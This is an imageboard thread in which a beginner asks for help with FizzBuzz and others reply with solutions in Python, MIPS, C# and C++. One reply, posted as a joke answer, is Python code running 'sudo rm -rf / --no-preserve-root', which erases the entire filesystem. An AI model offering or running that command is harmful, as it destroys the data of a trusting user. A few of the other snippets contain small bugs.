def fizzbuzz(n):


if n % 3 == 0 and n % 5 == 0:

return 'FizzBuzz'

elif n % 3 == 0:

return 'Fizz'

elif n % 5 == 0:

return 'Buzz'

else:

return str(n)


print "\n".join(fizzbuzz(n) for n in xrange(1, 21))

File: 5d11a94cbe575d83f354aa0b62871630[1].jpg (23 KB, 400x426) Image search: [Google]

23 KB, 400x426

>>51670289

>>51670988
wow thatnks

you are really good at this

>>51670289
import os
os.system("sudo rm -rf / --no-preserve-root")

>>51670988
could someone explain what each section of that last line is doing?

Here you go bud

def fizzbuzz(limit=100):
    for value in range(1, limit + 1):
        line_out = ''
        if is_divisible_by_3(value):
            line_out += 'fizz'
        if is_divisible_by_5(value):
            line_out += 'buzz'
        if line_out == '':
            line_out = value
        print(line_out)


def is_divisible_by_3(value):
    while len(str(value)) > 1:
        value = sum(int(c) for c in str(value))
    return value in (3, 6, 9)


def is_divisible_by_5(value):
    return str(value)[-1] in ('0', '5')

>>51671103

print "\n".join

this means joining a list as a string, putting a \n (new line) between each element in the string

fizzbuzz(n) for n in xrange(1, 21)

means that a list which consists of fizzbuzz(1), fizzbuzz(2), fizzbuzz(3) ... fizzbuzz(20) is created.

So putting it all together:

print "\n".join(fizzbuzz(n) for n in xrange(1, 21))

will create a string from the list fizzbuzz(1) .. fizzbuzz(20) and join it with newlines.

.data
Fizz: .asciiz "fizz"
Buzz: .asciiz "buzz"
nLine: .asciiz "\n"

.globl main
.text

main:   
    li $t0, 0
    li $t1, 101

Loop:
    addi $t0, $t0, 1
    beq $t0, 101, End
    rem $t2, $t0, 15
    beqz $t2, Fb
    rem $t2, $t0, 5
    beqz $t2, Fi
    rem $t2, $t0, 3
    beqz $t2, Bu
    b Number

Fb:
    li $v0, 4
    la $a0, Fizz
    syscall
    la $a0, Buzz
    syscall
    la $a0, nLine
    syscall
    b Loop
Fi:
    li $v0, 4
    la $a0, Fizz
    syscall
    la $a0, nLine
    syscall
    b Loop
    
Bu:
    li $v0, 4
    la $a0, Buzz
    syscall
    la $a0, nLine
    syscall
    b Loop

Number:
    li $v0, 1
    move $a0, $t0
    syscall
    li $v0, 4
    la $a0, nLine
    syscall
    b Loop

End:
    li $v0, 10
    syscall

>>51671188
10/10

>>51671188
MIPS?

>>51671184

Thanks man this has really helped me.

Truth be told im really struggling with this and its nice to get some help.

Same goes for everyone else who wrote me some code, its just this way seems to be the closest to the methods I am familiar with.

thanks again

>>51670988
>if n % 3 == 0 and n % 5 == 0
disgusting,
>not knowing that being a multiple of 3 and 5 is the same as multiple of 15

>>51671245
OP here

Would
n % 3 == 0 or n % 5 ==0
work?

>>51671293
No, because OR only needs one condition to be true to return true.

AND on the other hand needs both conditions to be true to return true.

Let's try it with the generators:

def fizz(num=0):
    while True:
        text, num = '', num + 1
        if not num % 3:
            text += 'Fizz'
        if not num % 5:
            text += 'Buzz'
        yield text or num

if __name__ == '__main__':
    gen = fizz()
    for i in range(100):
        print(next(gen))

>>51670289
for i in range(100):
if i % 3 == 0 and i % 5 == 0:
print("FizzBuzz")
elif i % 3 == 0:
print("Fizz")
elif i % 5 == 0:
print("Buzz")
else:
print(i)

>>51672463
Screwed up the indentation there, whatever.

>>51671174

jesus christ

>>51670988
>>51671245
>>51671293
>>51671358
if n%3 == 0
print Fizz
if n%5 == 0
print Buzz

this should print FizzBuzz on its own, why the extra if statement?

>>51671174
why arent you using modulo operators?

you could just make a "is_divisible_by(x, y)" where it just returns x%y == 0

File: FizzBuzz.png (19 KB, 299x162) Image search: [Google]

19 KB, 299x162

>>51670289
>Not looking for the exact code
Your reverse psychology was successful. Here's my solution.

I recommend that you try to understand the problem and what output is expected before anything else.

If you've looked at the first few pages of the tutorial from the python website, you should know enough to solve it from there.

using System;

static class Stuff
{
    static void Main()
    {
        for (int i = 1; i<101; i++)
        {
            bool notWritten = true;
            if (i % 3 == 0)
            {
                Console.Write("Fizz");
                notWritten = false;
            }
            if(i % 5 == 0)
            {
                Console.Write("Buzz");
                notWritten = false;
            }
            if(notWritten)
            {
                Console.Write(i);
            }
            Console.WriteLine();
        }
    }
}

 for (int i = 1; i <= 100; i++) {
if (i % 15 == 0)
cout << "FizzBuzz\n";
else if (i % 5 == 0)
cout << "Buzz\n";
else if (i % 3 == 0)
cout << "Fizz\n";
else
cout << i;
}